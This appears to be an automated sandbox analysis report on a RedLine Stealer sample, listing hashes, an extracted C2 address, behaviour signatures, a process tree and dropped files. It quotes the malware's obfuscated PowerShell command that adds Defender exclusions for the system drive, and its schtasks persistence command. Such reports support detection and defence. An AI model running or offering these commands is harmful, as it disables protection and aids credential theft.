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Analysis

  • max time kernel
    143s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/05/2023, 02:59

General

  • Target

    b59ba55f69a332109ec86717660d66b7.exe

  • Size

    1.6MB

  • MD5

    b59ba55f69a332109ec86717660d66b7

  • SHA1

    3d61511c2dd907864f790f069ba30daf8a189884

  • SHA256

    9f501e75fa1f86aca08cecdd4b3fe11676a0aebac9f34cbbbfb12f43a2a075ec

  • SHA512

    71ad439cc3f2e1fa6f2e836ed5eb3041415fa368f0258e2cd97cd327e480deb63b4f4679d42783abe966abb181746a039d5c5c9a65c26efb979631d4f9859370

  • SSDEEP

    49152:vEnI41s0Ypl/PB5iRsxKCDXbrHxW6ON7Y3:fc+dPB5iRGd5W6C7Y3

Malware Config

Extracted

Family

redline

Botnet

5874066304_99

C2

popshues.top:28786

Attributes
  • auth_value

    31adbd205862f9692bece3c6ae1bdc88

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Executes dropped EXE 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\b59ba55f69a332109ec86717660d66b7.exe
    "C:\Users\Admin\AppData\Local\Temp\b59ba55f69a332109ec86717660d66b7.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2044
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /sc daily /st 12:30 /f /tn "REx redux" /tr "C:\Users\Admin\AppData\Local\Temp\REx redux.exe"
      2⤵
      • Creates scheduled task(s)
      PID:2036
    • C:\Users\Admin\AppData\Local\Temp\REx redux.exe
      "C:\Users\Admin\AppData\Local\Temp\REx redux.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1264
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1016
    • C:\Users\Admin\AppData\Local\Temp\KelviInstall.exe
      "C:\Users\Admin\AppData\Local\Temp\KelviInstall.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Users\Admin\AppData\Local\Temp\is-TRCP2.tmp\KelviInstall.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-TRCP2.tmp\KelviInstall.tmp" /SL5="$14007C,22812911,832512,C:\Users\Admin\AppData\Local\Temp\KelviInstall.exe"
        3⤵
        • Executes dropped EXE
        PID:4988

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    6cf293cb4d80be23433eecf74ddb5503

    SHA1

    24fe4752df102c2ef492954d6b046cb5512ad408

    SHA256

    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

    SHA512

    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\KelviInstall.exe

    Filesize

    22.6MB

    MD5

    1a6013ba252e54a2cc1c770d9be98ee4

    SHA1

    36f32a1558924e4e1c678fc78d0a02d293405fe2

    SHA256

    391d8bcd9f7eba4d229f42944c8dd6a088a9f153fa760486874728873bd25831

    SHA512

    cb15e9fc3b0b0ddf1b61d2eff892ba479700b8acc6b2aa9ef4d3bde95d41b6f21239b5fe5e86e8d397aa822f6fb15fd8b25d4d27cdea702bbe11c4553c63d4c0

  • C:\Users\Admin\AppData\Local\Temp\KelviInstall.exe

    Filesize

    22.6MB

    MD5

    1a6013ba252e54a2cc1c770d9be98ee4

    SHA1

    36f32a1558924e4e1c678fc78d0a02d293405fe2

    SHA256

    391d8bcd9f7eba4d229f42944c8dd6a088a9f153fa760486874728873bd25831

    SHA512

    cb15e9fc3b0b0ddf1b61d2eff892ba479700b8acc6b2aa9ef4d3bde95d41b6f21239b5fe5e86e8d397aa822f6fb15fd8b25d4d27cdea702bbe11c4553c63d4c0

  • C:\Users\Admin\AppData\Local\Temp\REx redux.exe

    Filesize

    700.4MB

    MD5

    1dfd02027fbdb629150819fd1b0e30ec

    SHA1

    16110dc705835e7b7c41c476e502adb2bd02fea2

    SHA256

    e56fd55b1c762c442c3718e08283bf19737d19770acf3c191603e348668f292f

    SHA512

    a8e97007383d99725bb4a70da7350362c5155e4091286a337d676bf4d7129680e175043927329596afe16c63e65bfaf70ead1ad4562af74be9cdaeed6cd913fa

  • C:\Users\Admin\AppData\Local\Temp\REx redux.exe

    Filesize

    700.4MB

    MD5

    1dfd02027fbdb629150819fd1b0e30ec

    SHA1

    16110dc705835e7b7c41c476e502adb2bd02fea2

    SHA256

    e56fd55b1c762c442c3718e08283bf19737d19770acf3c191603e348668f292f

    SHA512

    a8e97007383d99725bb4a70da7350362c5155e4091286a337d676bf4d7129680e175043927329596afe16c63e65bfaf70ead1ad4562af74be9cdaeed6cd913fa

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jo5yjqwm.2jv.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\is-TRCP2.tmp\KelviInstall.tmp

    Filesize

    3.0MB

    MD5

    c0c0771c8ab81c0c115d53d3d54c4bbe

    SHA1

    3b3cfc7e08601a5e6a756436de944d15df5a28ac

    SHA256

    3996d0faf51c54b4ce2782253422b04cf2309efaa80489072759e8f0fa35301e

    SHA512

    b4bc8f6f51cfac5c84e8c8f1ef581bd4b3e3bbe9f213b9a85f26b5425f23968083aba2eb43ca59f42d52f8384754f33ad43b3276c4d4c5ee9d7e22c10c1bec12

  • memory/1016-383-0x0000000004E60000-0x0000000004E70000-memory.dmp

    Filesize

    64KB

  • memory/1016-378-0x0000000004E60000-0x0000000004E70000-memory.dmp

    Filesize

    64KB

  • memory/1016-385-0x00000000061E0000-0x0000000006230000-memory.dmp

    Filesize

    320KB

  • memory/1016-382-0x00000000060A0000-0x0000000006116000-memory.dmp

    Filesize

    472KB

  • memory/1016-381-0x0000000006310000-0x00000000068B4000-memory.dmp

    Filesize

    5.6MB

  • memory/1016-380-0x0000000005CC0000-0x0000000005D52000-memory.dmp

    Filesize

    584KB

  • memory/1016-379-0x0000000005130000-0x0000000005196000-memory.dmp

    Filesize

    408KB

  • memory/1016-384-0x0000000005E30000-0x0000000005E4E000-memory.dmp

    Filesize

    120KB

  • memory/1016-377-0x0000000004DC0000-0x0000000004DFC000-memory.dmp

    Filesize

    240KB

  • memory/1016-376-0x0000000004E90000-0x0000000004F9A000-memory.dmp

    Filesize

    1.0MB

  • memory/1016-375-0x0000000004D60000-0x0000000004D72000-memory.dmp

    Filesize

    72KB

  • memory/1016-374-0x00000000052C0000-0x00000000058D8000-memory.dmp

    Filesize

    6.1MB

  • memory/1016-373-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/1016-386-0x0000000007640000-0x0000000007802000-memory.dmp

    Filesize

    1.8MB

  • memory/1016-387-0x0000000007D40000-0x000000000826C000-memory.dmp

    Filesize

    5.2MB

  • memory/1256-180-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-192-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-159-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-160-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-161-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-162-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-163-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-164-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-165-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-166-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-167-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-168-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-169-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-170-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-171-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-172-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-173-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-174-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-175-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-176-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-177-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-178-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-179-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-157-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-181-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-182-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-183-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-184-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-185-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-186-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-187-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-188-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-189-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-190-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-191-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-158-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-193-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-194-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-195-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-196-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-133-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-134-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-137-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-135-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-155-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-154-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-156-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-153-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-152-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-151-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-150-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-149-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-148-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-147-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-146-0x00007FF7D9810000-0x00007FF7D9820000-memory.dmp

    Filesize

    64KB

  • memory/1256-145-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-141-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-143-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-142-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/1256-139-0x00007FF7C0B50000-0x00007FF7C0E86000-memory.dmp

    Filesize

    3.2MB

  • memory/2044-345-0x000001EBD9470000-0x000001EBD9480000-memory.dmp

    Filesize

    64KB

  • memory/2044-343-0x000001EBD9470000-0x000001EBD9480000-memory.dmp

    Filesize

    64KB

  • memory/2044-342-0x000001EBD9470000-0x000001EBD9480000-memory.dmp

    Filesize

    64KB

  • memory/2044-341-0x000001EBD9470000-0x000001EBD9480000-memory.dmp

    Filesize

    64KB

  • memory/3736-304-0x000002083D8C0000-0x000002083D8E2000-memory.dmp

    Filesize

    136KB

  • memory/3736-309-0x00000208251B0000-0x00000208251C0000-memory.dmp

    Filesize

    64KB

  • memory/3736-310-0x00000208251B0000-0x00000208251C0000-memory.dmp

    Filesize

    64KB

  • memory/3736-311-0x00000208251B0000-0x00000208251C0000-memory.dmp

    Filesize

    64KB

  • memory/4988-400-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

    Filesize

    4KB

  • memory/4988-404-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

    Filesize

    4KB